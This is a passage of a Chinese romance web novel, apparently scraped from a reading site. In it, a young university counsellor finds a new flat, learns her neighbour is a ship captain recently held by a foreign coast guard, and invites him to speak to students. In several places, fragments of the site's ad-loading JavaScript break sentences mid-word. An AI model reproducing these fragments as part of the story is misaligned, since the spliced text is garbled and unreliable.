刚回国那会儿手头比较紧,陈夏柠着急找到落脚的地方,匆匆忙忙搬到这,但租房合同一直没签,主要房东总是很忙,没找到机会,所以两人租房契约只存在口头。 这不,问题就来了。 房东说,她要收回这套房,给儿子装修成婚房使用。 陈夏柠拉着行李箱站在门口,拧着钥匙打开房门,闻言面色一沉,回头看她。 房东满脸和蔼,赔笑:“抱歉啦,小姑娘,我给你时间,等你找到下一个地方。” 陈夏柠周身的气压偏低,可能是舟车劳累了一整天,她看起来很疲倦,不想去做什么无谓的挣扎,也懒得跟人掰扯。 “多长时间?”她问。 “最多一周。” 陈夏柠点头嗯了声,进屋,不想做饭,去浴室简单洗了个澡,期间没热水,只能用凉水洗。 躺在床上闭了闭眼,明明身体很累了,大脑倔强地不让她休息,睡也睡不着。 须臾,陈夏柠摁亮手机,微博同城推送新闻:【据知情人士透露,陈氏集团已找到真千金......】 后面的内容,她直接看不下去了,一把扔下手机。 朝阳岛的生活就像一场逃避现实的梦,梦醒之后,那里的人和事都会退出她的生活。 而她要面对的,就是这乱七八糟又可笑的人生。 - 九月的第一天,校园内随处可见欢迎新同学的横幅和宣传栏,新生陆续来校。 陈夏柠安排好学生会的迎新志愿者,转去女寝宿舍楼前的帐篷底下帮忙核对新生入学信息。 上午11点过后就没那么忙了,陈夏柠就打开手机租房APP,坐在旁边的正是鹿雯,她正和大二的学生嘻嘻哈哈地聊天。 鹿雯问俩女生:“你们这学期的课多不多?” “课表大一魔鬼,大二更魔鬼,”说话女生捋了捋自己的黑长直,叹声,“李教官又该让我剪头发了。” 另一位短发女生说:“李教官不是去南极科考了么?一时半会儿回不来吧,你的头发可以多留些时日。” 长发女生鬼鬼祟祟,小声道:“凌极号出事了,他们好像没去南极。” 陈夏柠正百无聊赖地筛选租房信息,滑动屏幕的指腹猛地一顿,视线移开屏幕,望向那俩学生。 鹿雯托着腮,会心一笑:“你们小道消息挺灵啊。” 陈夏柠蹙起眉,总算加入话题:“发生了什么吗?” 鹿雯最爱八卦,知道的最多,她看旁边没其他人,摆摆手示意她们坐近点。 “上个月,凌极号从海云市出发,驶出南海海域那天晚上遇到台风,为了安全考虑,凌极号偏离了原有航线,抵达B国海域附近,B国的海警直接把船拦下来,非说凌极号闯入B国的海域。” 陈夏柠:“那凌极号到底有没有闯入B国的海域啊?” “问题就来了,当天晚上双方各持一词,B国的海警根本不听解释,”鹿雯犹疑地说,“这件事其实牵扯一点政治问题,B国本来就动荡不安,他们分明就是在找茬,凌极号路过他们海域附近,刚好被当枪使了。” 长发女生接话:“我听学长说,在我国海事局人员交涉前,凌极号的船长为安抚人心,主动去跟B国交涉,算是成为人质。” 短发女生惊讶:“船长怎么样?其他人呢?” 长发女生:“不知道啊,这都快交涉了大半个月了,国内没传来消息,好像在压着这事。” 陈夏柠恍惚了下,想起周祈越,他就在这艘船上,他没回她和周诚的消息,不会是因为出了什么事吧。 他不是船长 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,会有人身安全吗? 想到这,她心口一紧,抵在虎口的笔杆勒出红印。 “行了行了,不信谣不传谣。”鹿雯意识到自己对学生的引导不太好,及时刹车,有所保留地说,“我们等官方消息吧,我觉得他们应该没事。” 话题又重新扭回到她们学业上,长发女生哀叹一口气:“我的魔鬼生活要开始了,不是早八,是早六啊!” “......” 航海学院的军事化管理有一项早点名,早上七点就要集合在学院广场,教官检查好仪容仪表,然后带着他们跑操,学生们基本上早上六点就要起床。 跑完操七点半,学生要继续上早自习。 这件事倒是提醒陈夏柠,她现在带着大二年级的学生,他们可是有早自习的啊,导员要督促他们上早自习,进班点人的。 除此之外还有晚自习...... - 庆幸开学第一天没有早晚自习,陈夏柠记得自己鸽许佳念的事,一下班就主动联系她,并提前订好餐厅,是一家烤肉自助。 俩人选好食材入座,陈夏柠说自己正找学校附近的房子,以便每天早起上班。 “天哪,我还想着你来跟我住,”许佳念家虽在海云市,为了离工作单位近,早就搬出去单独租房了,她一边烤肉一边吐槽,“看来你这个辅导员工作也不轻松。” “谁说不是呢,”陈夏柠用剪刀剪烤肉给她,缓缓道,“工作只是看着体面,但学生有什么事,我的手机要24小时待命。” “没事,房子的事我帮你留意一下,我好像有大学同学在这租房来着。”许佳念抬眼看她,话锋一转,“对了,你和你的真命天子怎么样了?” “......什么真命天子啊,顶多就是朋友而已。” 一想到周祈越,陈夏柠莫名担心他的安危,仔细一想,搞突然消失不理人,不是他的处事风格。 是不是真的发生了什么事。 她凝重的神色,还使劲用筷子戳蘸酱,许佳念之前只是开玩笑,现在看见她这反应,反而很好奇对方是何方神圣。 “跟我说说他,他叫什么名字?” “周祈越。”陈夏柠说完还特意指出着三个字,以免像她那样误解。 “周、祈、越?”许佳念明显愣了下,使劲眨眼皮,“不会是我所认识的那个周祈越吧。” “你认识?”陈夏柠诧异,补了句,“我也后来知道我们本科是校友。” “那倒也不是认识,就知道他。”许佳念十有八九确定就是她知道的那个周祈越了,认真地交待,“他高中就是海云一中的呀,大我们两届的学长,我对他的耳闻就是高一那年在学校贴吧里看见有人偷拍他的照片,说他是一中的校草。” “后来有一次我参加数学竞赛跟他一个考场,他本人长得真的很惊艳,就是那种让人忍不住暗恋的翩翩少年。” “你不是最讨厌数学的嘛,”陈夏柠不禁笑出声,打趣道,“参加数学竞赛不会是为了见他吧?” “我那是倒霉,摇号摇到我了。”许佳念忙不迭解释,“我可没暗恋他啊,作为一个颜狗,看见帅哥就忍不住窥探更多,后来了解到他太优秀了也很低调,天之骄子岂是我这等凡夫俗子能企及的,我很有自知之明的。” 能让许佳念给予这么高肯定,陈夏柠不免有些惊讶,又恍然觉得自己对周祈越了解甚少:“那后来他怎么样了?” “他是你们学校的,你问我?” “......” 与其说陈夏柠孤陋寡闻,倒不如说,她学生时代只看得见江逸风。 许佳念皱了皱眉,绞尽脑汁地想了想:“哦我想起来了,我有位同学跟他当过同事。” “他毕业两年就干到了船长的位置,大学就参与过南极科考,就你们学校之前有艘科考船,后来转出去了,那艘船的名字叫......” “凌极号。” 当时周祈越跟她说这艘船,陈夏柠去网上查过,这艘船最初隶属于中国海事大学,后来转给国家海洋局。 “对对对。”许佳念狂点头,“凌极号。” 这饭,陈夏柠已经吃不下去了,信息接受量太大。 周祈越竟然这么厉害,是船长? 顺着这条线索,陈夏柠猜测,凌极号的船长是周祈越。 可是,凌极号的船长被B国扣下了啊...... 28. 邻居 确定船长是周祈越后,陈夏柠心里七上八下的,没忍住继续给他发消息。 Lemon:【你还好吗?】 Lemon:【我听说凌极号的情况了。】 消息依旧石沉大海般,没有回应。 去网上搜索有关凌极号的情况,的确没有媒体给出详细的报道。 目前那艘船上有将近二十多名科学家,其中包括本校一名教授和李治教官。 这么多重要的人物,CCG(中国海警局)早已派出队伍前去营救,至于什么时候有结果,她貌似也只能等待了。 现在她火烧眉毛的一件事就是找房子,就算房东不催,她也要着急了。 开学第二天,陈夏柠早上五点钟起床,六点坐上地铁,一个半小时学校,掐着时间点进班查人,这种感觉实在太痛苦了。 晚自习又要进班给学生开班会,长此以往身体真的会吃不消,她急需要在学校附近租房子。 海大的校区位于中元区,市中心和郊区的中间位置,地段交通发达,附近美食娱乐设施应有尽有,对于陈夏柠来说,这边的房价还是挺高的。 辅导员的工资本来就不高,更何况她还在考察期,学校并没有给她配备宿舍。 这件事愁得她午休都没心情,其他导员在办公室休息,陈夏柠站在走廊吹着凉风,刷了会儿微博。 中元大学城的超话一向热闹,她发布了条租房求助帖,说明预算,没过一会儿就有两个人联系她,也不知靠不靠谱,她先加了他们的微信。 下午陈夏柠处理完和庄可的交替工作,把杂七杂八的事情捋了一遍,打开微信正想联系其中一人约看房,有条消息及时蹦出来。 许佳念发过来一个人的微信名片:【这位是我大学同学向舒,她刚好有要出租的房子,我跟她说过了,你们聊吧。】 陈夏柠回复了个“好”,转去添加微信,打招呼说明来意。 向舒:【思苑路海天宜城13栋1306户,房门密码是0422】 陈夏柠眨了下眼。 这么...干脆?连密码都告诉我了? 不过这公寓的名字一听就知道不便宜。 陈夏柠捧着手机敲字“租金大概是”,还没发出去,对方的消息先跳出来。 向舒:【我还在外面忙,你有时间先去看看符不符合你的要求,距离海大很近。】 话都说到这个份上了,陈夏柠总不能鸽了人家,估计向舒是看在许佳念的面子上,这么放心让她一个人看房。 Lemon:【好的,我等会儿一下班就去。】 隔着屏幕都能感受到向舒的信任和善意:【行,进入小区和保安登记一下就行了,我打过招呼了。】 陈夏柠抿唇一笑:【谢谢啦!】 半小时后她下班,在地图上搜索海天宜城,从校门口坐两站公交车就到了,要是能住在这里上下班的确会方便很多。 陈夏柠找到13栋乘电梯上楼,找到1302户,输入密码进去,眼前一亮。 这间公寓挺宽敞,两室一厅一厨一卫的规模,装修风格简约,还有阳台,光线不错。 但陈夏柠沉着脸出来,虽然还没问具体价位,深知自己承受不起。 向舒:【怎么样?房子符合你的要求吗?】 抵达一楼电梯,陈夏柠往外面走,犹疑着敲字:【挺不错的,就是房租方面我预算不多】 所以还是谢谢你的好意了。 她正想补充这句。 向舒:【房租好商量,实话跟你说吧,我被公司外派到香港工作,明天就要走了,这房子空着也是空着,我就随缘租出去。你能接受的范围是多少?】 陈夏柠停在小区门口,自己最多能接受三千,但实在开不了这个口。 向舒倒是很干脆:【两千五怎么样?包括水电费。】 陈夏柠一愣,瞬间有被馅饼砸中的不可思议感:【向女士你确定么?不会很吃亏?】 向舒:【确定,我可是看在你是念念好闺蜜的份上,自己的房子还是想留给可靠的人住。 陈夏柠顿时眉开眼笑,心里感谢一万遍许佳念,料想她俩的交情绝对不一般,否则向舒不会出手这么阔绰,但上段的租房经验告诉她,该走的流程还是得走。 Lemon:【那我们签个租房合同可以么?也可以保护你的权益。】 向舒:【可以,我来拟定合同吧。】 Lemon:【好,我只租半年。】 向舒说自己明早八点的飞机,陈夏柠当晚就收拾好行李,顺便告知原房东要走的事,该清算的清算。 再一次天不亮起床,陈夏柠强撑着眼皮上地铁,暗自庆幸以后不用过着鸡狗不如的生活了。 天际泛白,旭日从白云中悄悄探出头,海天宜城门口站着两位拉行李箱的姑娘。 向舒和她名字截然不同,属于浓颜系美女,一身黑色西装西裤,整个御姐风格。 “这是租房合同,一式两份。” 陈夏柠拿着笔快速签名,说话间,直直地望向她:“谢谢你,祝你工作顺利,生活愉快。” 向舒笑容迷人,拍了拍她肩膀:“你也是啊,陈夏柠同学。” 陈夏柠怔懵了三秒。 “我打的车来了,先走啦。”向舒跟她挥挥手,拉着行李上车。 “好,再见。” 陈夏柠思绪仍在神游着,转身往小区里进,恍然间脑海里闪过一些画面。 - 原以为要等好久才能知道凌极号的消息。 中午午睡时间,整间办公室不得安宁,关窗户也挡不住外面的跑步声和慷锵有力的训斥声:“就你们这点破体力别说当海员了,去船上捡垃圾都没人要!” “......” 陈夏柠原本就没睡,正靠在办公椅刷手机购物,同城配送枕头被套这些东西,晚上她要睡觉的。 邻桌的鹿雯揉了揉头发,暴躁地说:“这哪个教官这么魔鬼,大中午跑步,还有没有点人性了。” 宋月懒洋洋地回:“学生口中的李治教官回来了。” 陈夏柠猛地抬头,急不可耐地问:“什么时候啊?凌极号的人都回来了?” “前天晚上凌极号抵达海云市,船上的人集体配合调查做笔录,昨天放行的。”宋月点点头,模棱两可地说,“应该都回来了吧。” 鹿雯打了个哈欠:“可以啊,宋老师这次抢占先机,占我头条了。” “......” 陈夏柠低着头,盯着周祈越的聊天框,这人还是杳无音信的状态。 这次能找到海天宜城的公寓多亏了许佳念,陈夏柠特意邀请她来家里吃饭,给她做喜欢的麻辣小龙虾,约在本周五晚上。 一下班陈夏柠赶到附近的海鲜市场买了足足两斤的小龙虾,蔬菜和啤酒之类的冰箱里早就提前备好。 陈夏柠早已适应独居生活,室内室外打扫的干净整洁,零食饮料一样不少,也会养一些植物给家里增添生气。 小龙虾做好后,陈夏柠正炒配菜,门铃声响起,她关火,跑到玄关处开门,笑意盈盈地招呼:“你总算来——了。” 许佳念怀中的橘猫正挠着她两只辫子,手里拎着一条狗绳,那只金贵的白色拉布拉多。 “......” 陈夏柠抱着胳膊,带三位客人进屋,坐在沙发上,挑眉:“你家狗和猫也喜欢吃龙虾?” “......” 许佳念把猫放到地板,边冲她嘿嘿一笑:“夏夏帮我一个忙。” 好了,这句话一出来,陈夏柠就知道什么忙了,这架势绝对是让她照顾猫狗。 “我爸妈去旅游了,明天周末公司派我外出学习,”许佳念眨巴眨巴眼,恳求语气,“我只能把小橘子和小白给你照顾了。” 陈夏柠不讨厌小动物但也不会主动养,因为觉得很麻烦,毕竟她连自己都不一定照顾好。 事已至此,她打量着蹲在地上的两只动物,又看了看向她,嘴角抽了下:“你确定它俩不会打架?猫和狗天敌啊,你还养一对。” “......” “不会的!它俩完全能和睦相处。”许佳念狂摇头,随即吆喝两只萌宠,“小白,小橘子,坐好!” 下一秒,橘猫和拉布拉多规规整整地蹲好。 还挺可爱的。 陈夏柠便应允下这件事。 许佳念还带了狗粮和猫粮,告诉她什么时间点投喂,拉布拉多已经训练得会主动上厕所了,橘猫给它找个纸箱就能解决。 也就两天,陈夏柠觉得没问题,而且这两只动物的确看着挺灵的,怪听话的样子。 “对了我问你个事,”晚上许佳念临走时,陈夏柠拉住她想起了什么,“向舒是不是二中的学生啊?” “对啊,她高中就是二中的学生,我俩也是大学认识的。”许佳念瞧着她的神情,问,“怎么,你认识啊?” “我就是觉得她眼熟 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,直到她喊我陈夏柠同学,隐隐约约让我想起我们应该在二中见过面。” 高中对她而言并没有太多美好的记忆,曾经的那些人和事,陈夏柠很少刻意地去回忆。 — 周末不用上班,她没定闹钟,睁开惺忪的眼,床头柜上蹲着的橘猫正居高临下地看她。 “......” 顷刻间,陈夏柠啊了声,一激灵地从床上坐起来。 橘猫也被她吓一跳,跳到地上,跑出房间。 陈夏柠揉了揉头发,下床,手机铃声响起,接通,是快递员,已到家门口。 她正穿着睡衣,往身上套了件衬衫,出去开门。 “您好,陈大勇先生的快递。”快递员一抬头看清人,怔了下,“请签收。” 陈夏柠接过纸箱签好名,把签收单递给他。 快递员走后,她正要关门,嗖的一下,脚底下有什么东西窜出去。 “喵——” 小橘子大摇大摆地往对面走,等她扔下快递出门时,小橙子已经顺着门缝推开邻居家的门。 陈夏柠不敢私闯民宅,站在隔壁1301户门口,手舞足蹈地喊着:“小橘子快点出来,那是别人家。” “......” 猫终究是听不懂人话,完全把别人家当成自己家,释放天性地乱窜。 “哗啦——” 客厅内传来清脆的声响,有什么东西碎了也有什么东西倒了。 完了完了,要赔钱了。 陈夏柠趴在门外干着急,也顾不得什么,直接冲进屋。 客厅内,她上演了一场抓猫大戏,内心无比崩溃,这橘猫的乖巧听话全是装的! 橘猫爬到沙发上面的悬空书架上,陈夏柠踮着脚,举起双手要接它:“小橘子,快点过来。” 下一刻,橘猫弹跳而起,在空中划出一道弧度,落地在浴室门口。 陈夏柠来了脾气,撸起袖子,堵它在门角,弯腰,指尖刚碰到猫毛。 “咔哒”一声,浴室的门开,橘猫溜进去。 陈夏柠直起腰,没踏出一步,她额头抵在一面坚硬的胸膛,突如其来的撞击,小姑娘整个扑在男人怀里,鼻尖钻入熟悉的气息。 顷刻间,她呼吸一滞,心跳节奏漏了半拍。 而后快速往后退,拉开距离。 周祈越额间的碎发滴着水,穿着黑色的运动裤,上半身赤裸,看到满身有料的腹肌,陈夏柠双脸火烧一般,急忙转过身,捂着脸。 “抱歉,我什么都没看到。” “......” 她觉得自己一定没睡醒,大早上出现幻觉了。 周祈越怎么会在这?! 男人慢条斯理地将手中的短袖套上,拿腔拿调道:“一个月不见,你这种占完便宜就甩锅的行为更猖狂了。” “......” 她觉得自己一定没睡醒,大早上出现幻觉了。 周祈越怎么会在这?! 陈夏柠拍了拍脸,确认不是在做梦,余光瞄见他穿好衣服,怯生生回身。 该说哪一句话呢。 你怎么在这里。 我不是故意闯进来的。 也不是故意看你光着身子的。 更没有占你便宜。 这一切都是误会和巧合。 转念一想,她似乎没必要表现得这么关心,毕竟他回来了也没给她回消息。 “你家的门没关,我的猫跑进来了,抱歉。”陈夏柠抱着小橘子生怕它再乱窜,望了眼客厅内摔碎的茶具,说,“你算好价格,微信发我,我赔给你。” 语毕,她抬脚往玄关处走。 “行啊,那套古董五万两千,我给你抹掉零头。”周祈越慢悠悠地道,“你现在转我五万吧。” “......” 陈夏柠脚步一停,皱起眉,回头看他:“周、祈、越。” 她知道他又在开玩笑,可现在她没有心思。 明明他平安无事,她应该高兴,可现在心里也空落落的。 周祈越拿着桌上拆过的快递盒,从里面掏出一部手机,当着她的面开机,语气漫不经心却又像在认真交待一件事。 “一个月前我的手机就掉海里了,这是我的新手机,今天早上快递员刚送过来,可能我门没关好,就去洗澡了。” 陈夏柠点点头,抿了下唇:“那这一个月,你都在当人质?” “......” 29. 周壮士 听到“人质”俩字,周祈越就笃定陈夏柠知道他是船长了,眉梢微扬,义正严词地道:“我那是协商!稳定军心!” “......” 八月初,凌极号进入南海,原有的航线与各国海域保持着很大的安全距离,但在即将驶出南海的夜晚,突遭台风侵袭,整个海面浪潮汹涌,船舶跟着摇晃。 原本驾驶台由大副、二副和三副轮流值班,但遇到这样恶劣的天气,就必须由船长亲自上阵。 当晚形势比预想的更严重,周祈越一边掌舵,一边检测到科考船正处于台风地带,目前只能选择自救。 “重新规划一条安全路线!” “收到!” 在场协助的大副刘砚及时划出一条新航线,周祈越采用之后也注意到B国海域的问题,一直在保持着安全距离。 B国与其邻国的战乱纷飞,连领海线的标志都被轰炸得体无完肤,凌极号的接近令B国打起戒备心,海警二话不说就包围凌极号。 对方持有武器,周祈越只能停止行驶,与海警协商。 交涉的长官也是有仗势欺人的架势,打着怀疑他们是敌方间谍的噱头,非要带军队上船搜索检查。 周祈越自然不能让他们贸然上来,主动走出驾驶舱,站在甲板打国际友好手势: “IamthecaptainofthisChinesevessel,andwillingtocooperatewithyourinvestigationbeforeChinacoastarrives.(我是中国船长,在中国海警抵达前,我愿意配合你们的调查。)” “Pleasedonotharmthefriendshipbetweenourtwonations.(请不要伤害两国友谊。)” B国长官冷静地点点头,示意船长上他们的军舰。 周祈越抬脚往前走时,叶恒拉住人,忧心忡忡地看他:“老大。” 叶恒并不想让他去,关于是否有闯入B国海域用AIS和VDR就可以调查出来,但明显来者不善,恐怕会找各种理由扣留周祈越。 “不用担心,”周祈越笑容轻松,看不出来他有半分恐惧,“好好安抚大家,等待救援。” 漆黑浓重的天空,海浪悄悄地拍打着船身,B国军舰露天甲板上宛如白昼,周祈越身姿高挺落阔,八风不动地站着。 两位士兵拦住他搜身,大胡子士兵装模做样地检查他手机,一不小心手滑,手机掉入海中,“Ohmygod,sosorry!” 望着大胡子惊恐夸张的神情,周祈越目光凌厉,没什么情绪地动了动唇角:“It’sallright.” ...... 客厅内,陈夏柠抬手揉着橘猫的身体给它顺毛,听得津津有味,抬眼追问:“然后呢,他们把你关地牢里严刑拷打了没?” “......” 周祈越盘着腿坐在沙发上,低头捯饬着新手机,笑得肩膀发颤:“陈夏柠,你应该没少看抗战神剧吧。” “......” 他将补办的电话卡插进手机,引以为傲又闲散道:“我可是中国船长,他们不敢轻举妄动,只能把我当成贵宾招待,享受的也是总统级别的待遇。” “......” 小橘子这会儿出奇老实,陈夏柠两手揪着它两只耳朵,似信非信地看他,开始秋后算账:“那也是个爱骗人的船长。” 这话一语双关,更多的是指他在朝阳岛当落魄败家子的事,陈夏柠还像傻子一样劝他好好找正经工作,嘲笑他混得那么差。 士别三日定当刮目相看。 一月不见,周壮士变成了赫赫有名的周船长。 “哪骗你了?” 关于这件事周祈越也觉得冤枉,竟然莫名奇妙被当成败家子,“我可从来没说过自己是周警官的儿子,你和校长问都没问就乱认人。” 陈夏柠挺直腰板,瞅他一眼:“那你也没说啊!” “......” 俩人面对面望着对方,像两个强词夺理的小学生,幼稚又可笑地僵持着场面。 小橘子“喵”了一声,肚子发出“咕咕”的声响。 “......” 周祈越捞起茶几上的橘子扔给她:“给你的猫喂点橘子。” 陈夏柠撕着果皮,小橘子在她腿上乱动,急不可耐地扒拉着果肉,“其实它就叫小橘子,还真喜欢吃橘子。” “呵,你挺会起名的啊。”周祈越眼睛未挪开屏幕,新机登录微信一堆验证,关键他还忘记密码了,“它要喜欢,我送它一大框,让它吃个够。” “不是我的猫,朋友寄存在我家的。况且猫不能吃太多水果,否则肠胃不适。”陈夏柠说完这句,思维跳脱地问他,“你是住在这里吗?” 周祈越环视了下四周,诡异地问:“难道你还看到了其他人?” “......” 陈夏柠万分感慨缘分,轻笑了下:“我就是觉得挺巧的,咱俩成为邻居了。” 微信登录上了,只是可惜所有的聊天框都是空白,不像企鹅号那样同步所有设备,周祈越皱了下眉,说:“这房子我大学就在住了。” 陈夏柠抬眼看他。 他勾着唇角,拖腔带调道:“某人是不是趁调查我的时候,顺藤摸瓜找到我的地址,然后专门当我邻居了吧。” “......懒得跟你扯。”陈夏柠眼尾扫他,抱着猫起身走出去。 没走几步就到对门自己家,身后传来男人清冽含混的嗓音:“欸,不赔钱得请我吃顿饭啊,你自己算算都占我多少便宜了。” “......” 陈夏柠快速关门进去,背靠房门,脸颊微热。 他这人总能坦荡到把所有话都不羞不耻地说出来。 同时心中的一块石头落下。 他没事,平安无恙地回来了。 - 开学已有一周,周日晚上学生有晚自习,许佳念知道她的工作时间,下午出差回来的第一件事就是来接猫狗回家。 “怎么样,我们家橘子和小白很乖吧。” 原本她是要吐槽小橘子的闯祸,但这么一说,许佳念肯定知道周祈越和她成为邻居的事了,陈夏柠能够想象到以后俩人聚会的话题会是什么样。 许佳念肯定会更加笃定真命天子,相信她那一套唯心主义论。 学生时代她就痴迷言情偶像剧,现在许佳念的工作也是新媒体影视剧相关。 她这个人极其浪漫主义,想象力丰富的很。 本着世界和平的原则,陈夏柠盯着小橘子,意味不明地笑了笑:“挺好的,这只猫最乖了。” 乖到,害得我私闯民宅。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 又被周祈越认为我是占便宜的女流氓。 甚至还欠他一顿饭。 “那行,你去忙吧。”许佳念左手抱猫,右手牵狗,走出门口,回头看她,“夏夏,你可别忘了,咱俩打赌你去朝阳岛会不会遇见帅哥,我赢了。” 陈夏柠:“......” 好吧,又是周祈越。 她俩打赌的规则就是要满足对方一个愿望,陈夏柠点头笑了笑:“你说吧,我满足你。” “没想好,先寄存着。”许佳念说,“就是提醒你一下,省得你忘了。对了,我要把你的微信备注成欠我一个愿望,这样我也不会忘了。” “......” 陈夏柠跟她一起出门,把人送走,自己回学校监督学生上晚自习。 晚自习七点开始,按照惯例导员七点半去班里巡视查人数。 两个班的专业是能源与动力工程,换了个新辅导员,这些大二学生在适应当中,陈夏柠也在尽力和班委熟络。 目前她只认识两个班的班长,进班简短开了个班会跟学生强调一下纪律和学习问题,结束的时候,她趁机认识其他班委。 “导员好,我是2201班的学委丁旭。” “我是2202班的团支书王洲。” 航院的男生比较多,班委也是,所以她一眼定在其他两位女生身上。 “导员好,我是2202班的文艺委员温可颜。” 女生长相乖软,眉目清秀温婉。 陈夏柠盯着她愣了几秒,挺意外的。 在朝阳岛金鱼巷,孟记包子铺,就是那位给男朋友挑香菜却被责怪的女生,让她不禁想起曾经在江逸风面前卑微的自己。 如今那位女生就在眼前,她叫温可颜。 不过就是一面之缘,温可颜并没有认出她,陈夏柠夸赞:“你的名字很好听。” 温可颜微低着头,讪笑了下:“谢谢导员。” 回到办公室,两班的学委分别把大一年级的成绩表发给她,陈夏柠再次注意到温可颜的名字,两个学期的绩点排名第一。 办公室其他三位导员也在统计成绩,好奇谁是大二年级的第一,专门来找陈夏柠要成绩,结果一对比,温可颜的绩点比那群学航海技术的男生还要高。 “往年航院的学霸都是男生,女生因为体能的原因基本要十名开外,”宋月啧啧称奇,瞧着她说,“但愿她能一直保持下去,可以给陈老师你争光。” 陈夏柠心里是开心的,谦虚道:“能源和动力工程的体能课没有航海技术那么严,所以她是理论课给自己拉分了。” “书记布置了一些任务,我们分工一下吧,”坐在门口的林思起身插话,拿着笔记本统筹,“两位导员负责新生晚会的举办,组织心理联合会宣讲,还有邀请优秀校友来校指导。” 宋月举手提议:“林老师和我带的是大一学生,就我俩搞新生晚会吧。” 鹿雯:“那我心理联合会。” 一不留神,陈夏柠别无选择了:“那我邀请校友。有什么要求吗?” “咱航海学院的,肯定要找船长来啦。”林思特意提醒她,“最好是年轻长得帅的,年龄大的跟学生交流有代沟,下周五要把人邀请来。” 陈夏柠托着腮,皱眉,小声嘟囔:“我哪认识什么...船长啊。” 年轻船长? 还得帅? 30. 少年 到头来,南极科考错过最佳时间,凌极号被迫原路返回。 先是困在军舰半个月,回来后又接受调查,周祈越压根没休息好,周一白天全在家里躺尸,饿了就点外卖。 直到傍晚时分,他长腿一伸,下床,拖着懒洋洋的身体走出卧室,打开冰箱,骨节分明的手指捞起一罐柠檬汽水。 “啪嗒”一声,他曲起食指拉开易拉罐,边趿拉着拖鞋往客厅走,门铃响了。 周祈越半路折过去,拉开门把手,门外的亮光照射昏暗的玄关。 面前的男人一身深蓝色真丝睡衣,脖颈白皙,裸露的锁骨勾人似的性感。 再往上,他神色慵懒,眼皮垂着,额间的头发杂乱无章地支棱起来,像个鸡窝。 陈夏柠抬手挡住唇角的笑意,很想打招呼:鸡窝头,睡够了没? 周祈越闲靠在门框,仰着头喝汽水,喉结翻滚了下,瞥见她憋笑不吭声,“怎么,来嘲笑我?” 陈夏柠狂摇头,想起正事,敛笑:“吃晚饭了没?” 周祈越眼尾勾起,斜睨着她:“没,你想来蹭饭只有外卖。” “......” “那刚好,请你来我家吃饭。”陈夏柠眨了下眼,献殷勤,“我特意买了小龙虾款待你这位邻居。” 其实小龙虾是上次请许佳念剩下的。 “那行,走吧。” “啪”的一声,周祈越将易拉罐磕在手边的柜面上,站起身要出门的姿势。 陈夏柠堵在门口脚步未挪,打量着他浑身上下:“你就...这样?” 周祈越眉梢一挑,像是明白了什么,折回去换衣服:“行,我隆重点才能配得上你的烛光晚餐。” “......” 陈夏柠转身回家,边思考。 一盆龙虾配凉拌黄瓜和西红柿炒蛋,算是烛光晚餐吧。 要说她做饭也会做,但只会做最常见的家常菜,复杂一点就不会了,连麻辣小龙虾也是学了好久。 还是因为大学的时候听见江逸风随口说,他喜欢会做小龙虾的女生。 江逸风周末喜欢邀请朋友去海边别墅聚会,陈夏柠就亲自下厨做了一份小龙虾。 餐桌上江逸风和朋友们碰酒聊天,陈夏柠坐在他旁边安静地剥龙虾壳,一两个还好,要是很多个加起来,指尖都会发疼,她颇有耐心地剥了一碗,趁着别人不注意时悄悄放到他面前。 江逸风回过头看见龙虾肉,随意地推给林盛:“你吃吧,我吃腻了。” “......” 陈夏柠用纸巾擦着翻红指尖的油渍,悬在空中的那颗心猛地往下坠,一落千丈。 现在想想只会觉得,敲不响的门和装睡的人,你付出再多的努力也只不过是玩火自焚。 周祈越的动作很快,头发梳好,换上黑色西装西裤,浑身撒发着痞帅劲儿,踏入隔壁1302。 陈夏柠引领着他到餐桌,隆重介绍:“来请看,你要的烛光晚餐!” 周祈越顺着视线望过去,整个人石化在原地。 没有红酒,她放了两瓶啤酒,没有蜡烛,她放了两个参加音乐节讨来的灯牌代替,上面还写着:泰裤辣。 “......” 烛光晚餐变成小孩子过家家了。 你怕不是对浪漫过敏吧。 在周祈越的反应中,陈夏柠已经能自行脑补这些吐槽了。 她打开灯,将灯牌收好,周祈越脱掉西服外套,白衬衫黑裤子,胳膊肘抵在桌面,好整以暇地打量着面前的饭菜。 “虽然面相不怎么样,但口味——”面前的人有多挑剔,陈夏柠说这句话时底气也不足了,“也不怎么样。” “......” 话音落,男人拾起筷子夹了块黄瓜品尝,回味无穷似的点头:“勉强承认你的厨艺比得上我了。” 陈夏柠眨了下眼,好笑地看他,厉害啊,夸人也不忘称赞一下自己。 她也难得顺承地应:“嗯,你喜欢就好。” 周祈越捋起袖子,戴上一次性手套,有条有理地剥虾,像只把人心思看穿的老狐狸:“说吧,你有什么事?” 陈夏柠坐起身,轻咳了声:“学校要邀请优秀船长给学生分享经验,我觉得你比较合适。” 周祈越哦了声,悠悠道:“那你说说,我哪合适?” 陈夏柠掰着手指头罗列他的优点:“你年轻,长得帅,有实力,年少有为,整个学生时代都很优秀。” 周祈越听得津津有味,顺着杆子往上爬:“是嘛,我学生时代有多优秀?” “......” 陈夏柠一噎,大眼瞪小眼地看他。 “你连我的经历都不了解,就想着邀请我。”周祈越哼笑了声,将剥好的虾肉挪过去,对上她的眸,“也太没有诚意了。” 陈夏柠心一颤,低头望着自己面前一碗虾肉,神色怔了怔:“那我晚上补补功课。” - 仔细算来,陈夏柠本科毕业都四年了,周祈越比她大两届,那就是六年。 抑或是时间太久,她并没有在学校公众号和官网上找到他的信息,找着找着就点开了海云一中的贴吧。 搜索他的名字,原本没报什么希望,结果真就跳出来一条热度最高的帖子,时间是2014年3月12日。 这个时间是下学期,她在海云一中读高二,周祈越在海大读大一。 沈彧:【啊啊啊周祈越学长来我们班分享学习经验啦!有幸目睹真人了,真的好帅!我的榜样!】 附图九宫格。 陈夏柠凑近电脑屏幕去瞅,即使过去这么多年了,她对这位叫“沈彧”这位高中同学印象深刻,因为她的名字不好读,是位大大咧咧的女孩子,体育委员。 她点开九宫格中间的图片,年代久远,照片很糊,看不清正脸,依稀能看到少年利落分明的轮廓。 少年一双大长腿穿着黑色西裤,上身白色航海衬衫,肩章上的金色图案煜煜生辉,就像他站在讲台上那样发着光。 陈夏柠一瞬间懵得很。 周祈越来过他们班做过经验分享? 她怎么不记得这件事。 